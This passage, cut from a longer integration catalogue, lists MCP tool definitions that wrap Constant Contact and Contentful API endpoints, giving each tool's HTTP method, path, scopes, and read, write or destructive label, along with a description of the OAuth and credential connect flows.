/segments GET /api/v1/constantcontact/segments. Scopes: contact_data. constantcontact_get_segments_by_segment_id (read) — GET a Segment's Details via GET /segments/{segment_id} GET /api/v1/constantcontact/segments/{segment_id}. Scopes: contact_data. constantcontact_get_social_connections (read) — GET social network connections via GET /social/connections GET /api/v1/constantcontact/social/connections. Scopes: campaign_data. constantcontact_get_social_hashtags_groups (read) — GET hashtag groups via GET /social/hashtags/groups GET /api/v1/constantcontact/social/hashtags/groups. Scopes: campaign_data. constantcontact_get_social_profiles (read) — GET social media profiles via GET /social/profiles GET /api/v1/constantcontact/social/profiles. Scopes: campaign_data. constantcontact_patch_emails_by_campaign_id (write) — PATCH (Update) an Email Campaign Name via PATCH /emails/{campaign_id} PATCH /api/v1/constantcontact/emails/{campaign_id}. Scopes: campaign_data. constantcontact_patch_events_by_event_id (write) — PATCH (update) an event. via PATCH /events/{event_id} PATCH /api/v1/constantcontact/events/{event_id}. Scopes: campaign_data. constantcontact_patch_segments_by_segment_id_name (write) — PATCH (rename) a Segment via PATCH /segments/{segment_id}/name PATCH /api/v1/constantcontact/segments/{segment_id}/name. Scopes: contact_data. constantcontact_post_account_emails (write) — POST Add an Account Email Address via POST /account/emails POST /api/v1/constantcontact/account/emails. Scopes: account_update. constantcontact_post_account_summary_physical_address (write) — POST the Physical Address for the Account via POST /account/summary/physical_address POST /api/v1/constantcontact/account/summary/physical_address. Scopes: account_update. constantcontact_post_activities_add_list_memberships (write) — Add Contacts to Lists via POST /activities/add_list_memberships POST /api/v1/constantcontact/activities/add_list_memberships. Scopes: contact_data. constantcontact_post_activities_contact_delete (write) — Delete Contacts in Bulk via POST /activities/contact_delete POST /api/v1/constantcontact/activities/contact_delete. Scopes: contact_data. constantcontact_post_activities_contact_exports (write) — Export Contacts to a File via POST /activities/contact_exports POST /api/v1/constantcontact/activities/contact_exports. Scopes: contact_data. constantcontact_post_activities_contacts_json_import (write) — Import Contacts using a JSON Payload via POST /activities/contacts_json_import POST /api/v1/constantcontact/activities/contacts_json_import. Scopes: contact_data. constantcontact_post_activities_contacts_taggings_add (write) — Add Tags to Contacts via POST /activities/contacts_taggings_add POST /api/v1/constantcontact/activities/contacts_taggings_add. Scopes: contact_data. constantcontact_post_activities_contacts_taggings_remove (write) — Remove Tags from Contacts via POST /activities/contacts_taggings_remove POST /api/v1/constantcontact/activities/contacts_taggings_remove. Scopes: contact_data. constantcontact_post_activities_contacts_tags_delete (write) — Delete Tags via POST /activities/contacts_tags_delete POST /api/v1/constantcontact/activities/contacts_tags_delete. Scopes: contact_data. constantcontact_post_activities_custom_fields_delete (write) — Delete Custom Fields via POST /activities/custom_fields_delete POST /api/v1/constantcontact/activities/custom_fields_delete. Scopes: contact_data. constantcontact_post_activities_list_delete (write) — Delete Contact Lists via POST /activities/list_delete POST /api/v1/constantcontact/activities/list_delete. Scopes: contact_data. constantcontact_post_activities_remove_list_memberships (write) — Remove Contacts from Lists via POST /activities/remove_list_memberships POST /api/v1/constantcontact/activities/remove_list_memberships. Scopes: contact_data. constantcontact_post_automations_workflows (write) — Create an Automation via POST /automations/workflows POST /api/v1/constantcontact/automations/workflows. Scopes: campaign_data. constantcontact_post_contact_custom_fields (write) — POST (create) a custom_field via POST /contact_custom_fields POST /api/v1/constantcontact/contact_custom_fields. Scopes: contact_data. constantcontact_post_contact_lists (write) — POST (create) a List via POST /contact_lists POST /api/v1/constantcontact/contact_lists. Scopes: contact_data. constantcontact_post_contact_tags (write) — POST (Create) a Tag via POST /contact_tags POST /api/v1/constantcontact/contact_tags. Scopes: contact_data. constantcontact_post_contacts (write) — POST (create) a Contact via POST /contacts POST /api/v1/constantcontact/contacts. Scopes: contact_data. constantcontact_post_contacts_sign_up_form (write) — Create or Update a Contact via POST /contacts/sign_up_form POST /api/v1/constantcontact/contacts/sign_up_form. Scopes: contact_data. constantcontact_post_emails (write) — POST (Create) a New Email Campaign via POST /emails POST /api/v1/constantcontact/emails. Scopes: campaign_data. constantcontact_post_emails_activities_by_campaign_activity_id_abtest (write) — POST (Create) an A/B Test for an Email Campaign Activity via POST /emails/activities/{campaign_activity_id}/abtest POST /api/v1/constantcontact/emails/activities/{campaign_activity_id}/abtest. Scopes: campaign_data. constantcontact_post_emails_activities_by_campaign_activity_id_non_opener_resends (write) — POST a Resend to Non-openers Campaign Activity via POST /emails/activities/{campaign_activity_id}/non_opener_resends POST /api/v1/constantcontact/emails/activities/{campaign_activity_id}/non_opener_resends. Scopes: campaign_data. constantcontact_post_emails_activities_by_campaign_activity_id_schedules (write) — POST (Create) an Email Campaign Activity Schedule via POST /emails/activities/{campaign_activity_id}/schedules POST /api/v1/constantcontact/emails/activities/{campaign_activity_id}/schedules. Scopes: campaign_data. constantcontact_post_emails_activities_by_campaign_activity_id_tests (write) — POST Test Send an Email Campaign Activity via POST /emails/activities/{campaign_activity_id}/tests POST /api/v1/constantcontact/emails/activities/{campaign_activity_id}/tests. Scopes: campaign_data. constantcontact_post_events_by_event_id_check_in_tickets (write) — Check in event tickets. via POST /events/{event_id}/check_in/tickets POST /api/v1/constantcontact/events/{event_id}/check_in/tickets. Scopes: campaign_data. constantcontact_post_events_by_event_id_copy (write) — POST (copy) an existing event. via POST /events/{event_id}/copy POST /api/v1/constantcontact/events/{event_id}/copy. Scopes: campaign_data. constantcontact_post_events_by_event_id_undo_check_in_tickets (write) — Undo event ticket check-in. via POST /events/{event_id}/undo_check_in/tickets POST /api/v1/constantcontact/events/{event_id}/undo_check_in/tickets. Scopes: campaign_data. constantcontact_post_events_default (write) — POST (create) a new event. via POST /events/default POST /api/v1/constantcontact/events/default. Scopes: campaign_data. constantcontact_post_partner_accounts (write) — POST (create) a Partner Client Account via POST /partner/accounts POST /api/v1/constantcontact/partner/accounts. Scopes: account_update. constantcontact_post_partner_accounts_by_encoded_account_id_account_operations_sync (write) — POST Send an API request on Behalf of a Client Account via POST /partner/accounts/{encoded_account_id}/account_operations/sync POST /api/v1/constantcontact/partner/accounts/{encoded_account_id}/account_operations/sync. Scopes: account_update. constantcontact_post_partner_accounts_by_encoded_account_id_contacts_unsubscribe (write) — POST Unsubscribe Contacts via POST /partner/accounts/{encoded_account_id}/contacts/unsubscribe POST /api/v1/constantcontact/partner/accounts/{encoded_account_id}/contacts/unsubscribe. Scopes: account_update. constantcontact_post_partner_accounts_by_encoded_account_id_users_sso (write) — POST a User Under a Partner's SSO-Enabled Client Account via POST /partner/accounts/{encoded_account_id}/users/sso POST /api/v1/constantcontact/partner/accounts/{encoded_account_id}/users/sso. Scopes: account_update. constantcontact_post_partner_webhooks_subscriptions_by_topic_id_tests (write) — POST Test Send Webhook Notification via POST /partner/webhooks/subscriptions/{topic_id}/tests POST /api/v1/constantcontact/partner/webhooks/subscriptions/{topic_id}/tests. Scopes: account_update. constantcontact_post_segments (write) — POST (create) a Segment via POST /segments POST /api/v1/constantcontact/segments. Scopes: contact_data. constantcontact_post_social_posts (write) — POST (create) a social media post via POST /social/posts POST /api/v1/constantcontact/social/posts. Scopes: campaign_data. constantcontact_put_account_summary (write) — PUT (update) Account Details via PUT /account/summary PUT /api/v1/constantcontact/account/summary. Scopes: account_update. constantcontact_put_account_summary_company_logo (write) — PUT (update) the Company Logo for the Account via PUT /account/summary/company_logo PUT /api/v1/constantcontact/account/summary/company_logo. Scopes: account_update. constantcontact_put_account_summary_physical_address (write) — PUT (update) the Physical Address for an Account via PUT /account/summary/physical_address PUT /api/v1/constantcontact/account/summary/physical_address. Scopes: account_update. constantcontact_put_automations_workflows_by_automation_flow_id (write) — Update an Automation via PUT /automations/workflows/{automation_flow_id} PUT /api/v1/constantcontact/automations/workflows/{automation_flow_id}. Scopes: campaign_data. constantcontact_put_contact_custom_fields_by_custom_field_id (write) — Update a custom field. via PUT /contact_custom_fields/{custom_field_id} PUT /api/v1/constantcontact/contact_custom_fields/{custom_field_id}. Scopes: contact_data. constantcontact_put_contact_lists_by_list_id (write) — PUT (update) a List via PUT /contact_lists/{list_id} PUT /api/v1/constantcontact/contact_lists/{list_id}. Scopes: contact_data. constantcontact_put_contact_tags_by_tag_id (write) — PUT (Update) a Tag via PUT /contact_tags/{tag_id} PUT /api/v1/constantcontact/contact_tags/{tag_id}. Scopes: contact_data. constantcontact_put_contacts_by_contact_id (write) — PUT (update) a Contact via PUT /contacts/{contact_id} PUT /api/v1/constantcontact/contacts/{contact_id}. Scopes: contact_data. constantcontact_put_contacts_resubscribe_by_contact_id (write) — PUT Resubscribe a Contact via PUT /contacts/resubscribe/{contact_id} PUT /api/v1/constantcontact/contacts/resubscribe/{contact_id}. Scopes: contact_data. constantcontact_put_emails_activities_by_campaign_activity_id (write) — PUT (Update) An Email Campaign Activity via PUT /emails/activities/{campaign_activity_id} PUT /api/v1/constantcontact/emails/activities/{campaign_activity_id}. Scopes: campaign_data. constantcontact_put_events_by_event_id_tracks_by_track_id_registrations (write) — Update status for event registrations. via PUT /events/{event_id}/tracks/{track_id}/registrations PUT /api/v1/constantcontact/events/{event_id}/tracks/{track_id}/registrations. Scopes: campaign_data. constantcontact_put_events_by_event_id_tracks_by_track_id_registrations_payment_status (write) — Update payment status for event registrations. via PUT /events/{event_id}/tracks/{track_id}/registrations/payment_status PUT /api/v1/constantcontact/events/{event_id}/tracks/{track_id}/registrations/payment_status. Scopes: campaign_data. constantcontact_put_partner_accounts_by_encoded_account_id_plan (write) — PUT (update) Billing Plan Details for a Client Account via PUT /partner/accounts/{encoded_account_id}/plan PUT /api/v1/constantcontact/partner/accounts/{encoded_account_id}/plan. Scopes: account_update. constantcontact_put_partner_accounts_by_encoded_account_id_status_cancel (write) — PUT Cancel the Billing Plan for a Client Account via PUT /partner/accounts/{encoded_account_id}/status/cancel PUT /api/v1/constantcontact/partner/accounts/{encoded_account_id}/status/cancel. Scopes: account_update. constantcontact_put_partner_webhooks_subscriptions_by_topic_id (write) — PUT Webhook Topic Subscription via PUT /partner/webhooks/subscriptions/{topic_id} PUT /api/v1/constantcontact/partner/webhooks/subscriptions/{topic_id}. Scopes: account_update. constantcontact_put_segments_by_segment_id (write) — PUT (update) a Segment via PUT /segments/{segment_id} PUT /api/v1/constantcontact/segments/{segment_id}. Scopes: contact_data. ================================================================================ ## Contentful URL: https://www.agenticfabriq.com/integrations/contentful Section: Integrated Tools Contentful — 322 MCP tools Provider key: contentful. Scopes: content_management_manage, content_management_read. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. contentful_delete_organizations_by_organization_id_ai_providers_by_provider_id (write, destructive) — Use this endpoint to delete an AI Provider for a specified organization. via DELETE /organizations/{organization_id}/ai/providers/{provider_id} DELETE /api/v1/contentful/organizations/{organization_id}/ai/providers/{provider_id}. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_app_definitions_by_app_definition_id (write, destructive) — Delete an app definition via DELETE /organizations/{organization_id}/app_definitions/{app_definition_id} DELETE /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_app_definitions_by_app_definition_id_access_grants_by_access_grant_id (write, destructive) — Delete One Access Grant via DELETE /organizations/{organization_id}/app_definitions/{app_definition_id}/access_grants/{access_grant_id} DELETE /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/access_grants/{access_grant_id}. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_app_definitions_by_app_definition_id_actions_by_app_action_id (write, destructive) — Delete an action via DELETE /organizations/{organization_id}/app_definitions/{app_definition_id}/actions/{app_action_id} DELETE /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/actions/{app_action_id}. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_app_definitions_by_app_definition_id_app_bundles_by_app_bundle_id (write, destructive) — Delete an app bundle via DELETE /organizations/{organization_id}/app_definitions/{app_definition_id}/app_bundles/{app_bundle_id} DELETE /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/app_bundles/{app_bundle_id}. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_app_definitions_by_app_definition_id_details (write, destructive) — Delete app details via DELETE /organizations/{organization_id}/app_definitions/{app_definition_id}/details DELETE /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/details. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_app_definitions_by_app_definition_id_event_subscription (write, destructive) — Delete an app event subscription via DELETE /organizations/{organization_id}/app_definitions/{app_definition_id}/event_subscription DELETE /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/event_subscription. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_app_definitions_by_app_definition_id_keys_by_key_kid (write, destructive) — Delete an app key via DELETE /organizations/{organization_id}/app_definitions/{app_definition_id}/keys/{key_kid} DELETE /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/keys/{key_kid}. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_app_definitions_by_app_definition_id_resource_provider (write, destructive) — Deletes the resource provider for an app. Cannot be deleted if it has associated resource types. via DELETE /organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider DELETE /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_app_definitions_by_app_definition_id_resource_provider_resource_types_by_resource_type_id (write, destructive) — Delete a resource type via DELETE /organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider/resource_types/{resource_type_id} DELETE /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider/resource_types/{resource_type_id}. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_app_definitions_by_app_definition_id_signing_secret (write, destructive) — Remove the current app signing secret via DELETE /organizations/{organization_id}/app_definitions/{app_definition_id}/signing_secret DELETE /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/signing_secret. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_environment_templates_by_template_id (write, destructive) — Deletes an environment template and all its versions. Entities previously installed from the template are not affected. via DELETE /organizations/{organization_id}/environment_templates/{template_id} DELETE /api/v1/contentful/organizations/{organization_id}/environment_templates/{template_id}. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_logging_configurations_by_configuration_id (write, destructive) — Deletes a logging configuration. This stops future log deliveries for the configuration. via DELETE /organizations/{organization_id}/logging_configurations/{configuration_id} DELETE /api/v1/contentful/organizations/{organization_id}/logging_configurations/{configuration_id}. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_security_contacts_by_security_id (write, destructive) — Delete an organization security contact an admin or owner has access to via DELETE /organizations/{organization_id}/security_contacts/{security_id} DELETE /api/v1/contentful/organizations/{organization_id}/security_contacts/{security_id}. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_semantic_search_index_by_index_id (write, destructive) — Delete a search index via DELETE /organizations/{organization_id}/semantic/search-index/{index_id} DELETE /api/v1/contentful/organizations/{organization_id}/semantic/search-index/{index_id}. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_taxonomy_concept_schemes_by_concept_scheme_id (write, destructive) — Delete a concept scheme via DELETE /organizations/{organization_id}/taxonomy/concept-schemes/{concept_scheme_id} DELETE /api/v1/contentful/organizations/{organization_id}/taxonomy/concept-schemes/{concept_scheme_id}. Scopes: content_management_manage. contentful_delete_organizations_by_organization_id_taxonomy_concepts_by_concept_id (write, destructive) — _Deleting concepts does not remove existing references to them in content type validations, or entries._ via DELETE /organizations/{organization_id}/taxonomy/concepts/{concept_id} DELETE /api/v1/contentful/organizations/{organization_id}/taxonomy/concepts/{concept_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id (write, destructive) — Deletes a space and all its resources — content types, entries, and assets. **This action cannot be undone.** via DELETE /spaces/{space_id} DELETE /api/v1/contentful/spaces/{space_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_ai_actions_by_ai_action_id (write, destructive) — Use this endpoint to delete an AI Action for a specified space. via DELETE /spaces/{space_id}/ai/actions/{ai_action_id} DELETE /api/v1/contentful/spaces/{space_id}/ai/actions/{ai_action_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_api_keys_by_api_key_id (write, destructive) — This endpoint allows you to delete a Delivery API key and its corresponding Preview API key. via DELETE /spaces/{space_id}/api_keys/{api_key_id} DELETE /api/v1/contentful/spaces/{space_id}/api_keys/{api_key_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environment_aliases_by_environment_alias_id (write, destructive) — Deletes an environment alias. The `master` alias cannot be deleted. via DELETE /spaces/{space_id}/environment_aliases/{environment_alias_id} DELETE /api/v1/contentful/spaces/{space_id}/environment_aliases/{environment_alias_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id (write, destructive) — Delete an environment via DELETE /spaces/{space_id}/environments/{environment_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_ai_actions_by_ai_action_id_published (write, destructive) — Use this endpoint to unpublish an AI Action for a specified space. via DELETE /spaces/{space_id}/environments/{environment_id}/ai/actions/{ai_action_id}/published DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/ai/actions/{ai_action_id}/published. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_app_installations_by_app_definition_id (write, destructive) — Uninstall an app via DELETE /spaces/{space_id}/environments/{environment_id}/app_installations/{app_definition_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/app_installations/{app_definition_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_assets_by_asset_id (write, destructive) — Deletes an asset and all previously referenced CDN files. CDN removal can take up to 48 hours. via DELETE /spaces/{space_id}/environments/{environment_id}/assets/{asset_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/assets/{asset_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_assets_by_asset_id_archived (write, destructive) — Unarchives an asset, restoring it to draft state. Files can take up to an hour to become available on the CDN again. via DELETE /spaces/{space_id}/environments/{environment_id}/assets/{asset_id}/archived DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/assets/{asset_id}/archived. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_assets_by_asset_id_published (write, destructive) — Unpublishing will put the asset back into draft state. via DELETE /spaces/{space_id}/environments/{environment_id}/assets/{asset_id}/published DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/assets/{asset_id}/published. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_automation_definitions_by_automation_definition_id (write, destructive) — Delete an automation definition via DELETE /spaces/{space_id}/environments/{environment_id}/automation_definitions/{automation_definition_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/automation_definitions/{automation_definition_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_content_types_by_content_type_id (write, destructive) — _Before you can delete a content type you need to deactivate it_. via DELETE /spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_content_types_by_content_type_id_published (write, destructive) — Deactivate a content type via DELETE /spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}/published DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}/published. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id (write, destructive) — Delete an entry via DELETE /spaces/{space_id}/environments/{environment_id}/entries/{entry_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_archived (write, destructive) — Unarchive an entry via DELETE /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/archived DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/archived. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_comments_by_comment_id (write, destructive) — Deletes an entry comment. Comment creators and space admins can delete comments. via DELETE /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/comments/{comment_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/comments/{comment_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_published (write, destructive) — Unpublish an entry via DELETE /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/published DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/published. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_tasks_by_task_id (write, destructive) — Deletes a task. Task creators and space admins can delete tasks. via DELETE /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/tasks/{task_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/tasks/{task_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_extensions_by_extension_id (write, destructive) — Delete an extension via DELETE /spaces/{space_id}/environments/{environment_id}/extensions/{extension_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/extensions/{extension_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_locales_by_locale_id (write, destructive) — Deletes a locale and all associated content. **This action cannot be undone.** Locales used as fallbacks by other locales cannot be deleted. via DELETE /spaces/{space_id}/environments/{environment_id}/locales/{locale_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/locales/{locale_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_releases_by_release_id (write, destructive) — Deletes a release by ID. Only the release creator or an admin can delete a release. via DELETE /spaces/{space_id}/environments/{environment_id}/releases/{release_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_archived (write, destructive) — Unarchives a release, re-enabling publish, unpublish, and scheduling actions. Include `X-Contentful-Version`. Not supported for Timeline releases (`sys.schemaVersion` `Release.v2`), which return a 400 error. via DELETE /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/archived DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/archived. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_published (write, destructive) — Unpublishes all entities in a release. via DELETE /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/published DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/published. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_tags_by_tag_id (write, destructive) — Deletes a tag from the entries and/or assets that reference it. via DELETE /spaces/{space_id}/environments/{environment_id}/tags/{tag_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/tags/{tag_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_uploads_by_upload_id (write, destructive) — Delete an upload via DELETE /spaces/{space_id}/environments/{environment_id}/uploads/{upload_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/uploads/{upload_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_workflow_definitions_by_workflow_definition_id (write, destructive) — Deletes a workflow definition by ID. Only org or space admins can delete workflow definitions. via DELETE /spaces/{space_id}/environments/{environment_id}/workflow_definitions/{workflow_definition_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflow_definitions/{workflow_definition_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_environments_by_environment_id_workflows_by_workflow_id (write, destructive) — Cancels a workflow. Only org or space admins can cancel by default; step-level permissions can grant access to other users. via DELETE /spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id} DELETE /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/workflows/{workflow_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_roles_by_role_id (write, destructive) — Use this endpoint to delete an existing role. You can only delete roles if there is no user in the space with *only* that role assigned, i.e. a user must have at least one role. via DELETE /spaces/{space_id}/roles/{role_id} DELETE /api/v1/contentful/spaces/{space_id}/roles/{role_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_scheduled_actions_by_scheduled_action_id (write, destructive) — Cancels a scheduled action. Only actions in `scheduled` status can be cancelled. via DELETE /spaces/{space_id}/scheduled_actions/{scheduled_action_id} DELETE /api/v1/contentful/spaces/{space_id}/scheduled_actions/{scheduled_action_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_space_memberships_by_space_membership_id (write, destructive) — Deletes a space membership, revoking the user's space access without deleting their account. All admins can be removed, leaving the space unmanageable until a new admin is added. via DELETE /spaces/{space_id}/space_memberships/{space_membership_id} DELETE /api/v1/contentful/spaces/{space_id}/space_memberships/{space_membership_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_webhook_definitions_by_webhook_definition_id (write, destructive) — Delete a webhook via DELETE /spaces/{space_id}/webhook_definitions/{webhook_definition_id} DELETE /api/v1/contentful/spaces/{space_id}/webhook_definitions/{webhook_definition_id}. Scopes: content_management_manage. contentful_delete_spaces_by_space_id_webhook_settings_signing_secret (write, destructive) — Delete a webhook signing secret via DELETE /spaces/{space_id}/webhook_settings/signing_secret DELETE /api/v1/contentful/spaces/{space_id}/webhook_settings/signing_secret. Scopes: content_management_manage. contentful_delete_users_by_user_id_oauth_applications_by_oauth_application_id (write, destructive) — This endpoint deletes a specific OAuth application. via DELETE /users/{user_id}/oauth_applications/{oauth_application_id} DELETE /api/v1/contentful/users/{user_id}/oauth_applications/{oauth_application_id}. Scopes: content_management_manage. contentful_get_app_definitions_by_app_definition_id_app_installations (read) — Get all installations of an app within an organization via GET /app_definitions/{app_definition_id}/app_installations GET /api/v1/contentful/app_definitions/{app_definition_id}/app_installations. Scopes: content_management_read. contentful_get_organizations (read) — Get all organizations an account has access to via GET /organizations GET /api/v1/contentful/organizations. Scopes: content_management_read. contentful_get_organizations_by_organization_id (read) — Get an organization id an admin or owner has access to via GET /organizations/{organization_id} GET /api/v1/contentful/organizations/{organization_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_access_grant (read) — This endpoint allows you to verify whether the token has access permissions for this organization. via GET /organizations/{organization_id}/access_grant GET /api/v1/contentful/organizations/{organization_id}/access_grant. Scopes: content_management_read. contentful_get_organizations_by_organization_id_access_tokens (read) — Returns redacted CMA tokens for all members of the organization; accessible to admins and owners only. Supports the same date-range filters as the personal access tokens endpoint. via GET /organizations/{organization_id}/access_tokens GET /api/v1/contentful/organizations/{organization_id}/access_tokens. Scopes: content_management_read. contentful_get_organizations_by_organization_id_ai_providers (read) — Returns all the AI Providers that exist in a given organization. via GET /organizations/{organization_id}/ai/providers GET /api/v1/contentful/organizations/{organization_id}/ai/providers. Scopes: content_management_read. contentful_get_organizations_by_organization_id_ai_providers_by_provider_id (read) — Use this endpoint to read an AI Provider for a specified organization. via GET /organizations/{organization_id}/ai/providers/{provider_id} GET /api/v1/contentful/organizations/{organization_id}/ai/providers/{provider_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_actions_categories (read) — Get app action categories via GET /organizations/{organization_id}/app_actions_categories GET /api/v1/contentful/organizations/{organization_id}/app_actions_categories. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions (read) — Get all app definitions via GET /organizations/{organization_id}/app_definitions GET /api/v1/contentful/organizations/{organization_id}/app_definitions. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id (read) — Get an app definition via GET /organizations/{organization_id}/app_definitions/{app_definition_id} GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_access_grants (read) — Query Access Grants of a App Definition via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/access_grants GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/access_grants. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_actions (read) — Get all actions of an app via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/actions GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/actions. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_actions_by_app_action_id (read) — Read an action via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/actions/{app_action_id} GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/actions/{app_action_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_app_bundles (read) — Get all app bundles via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/app_bundles GET 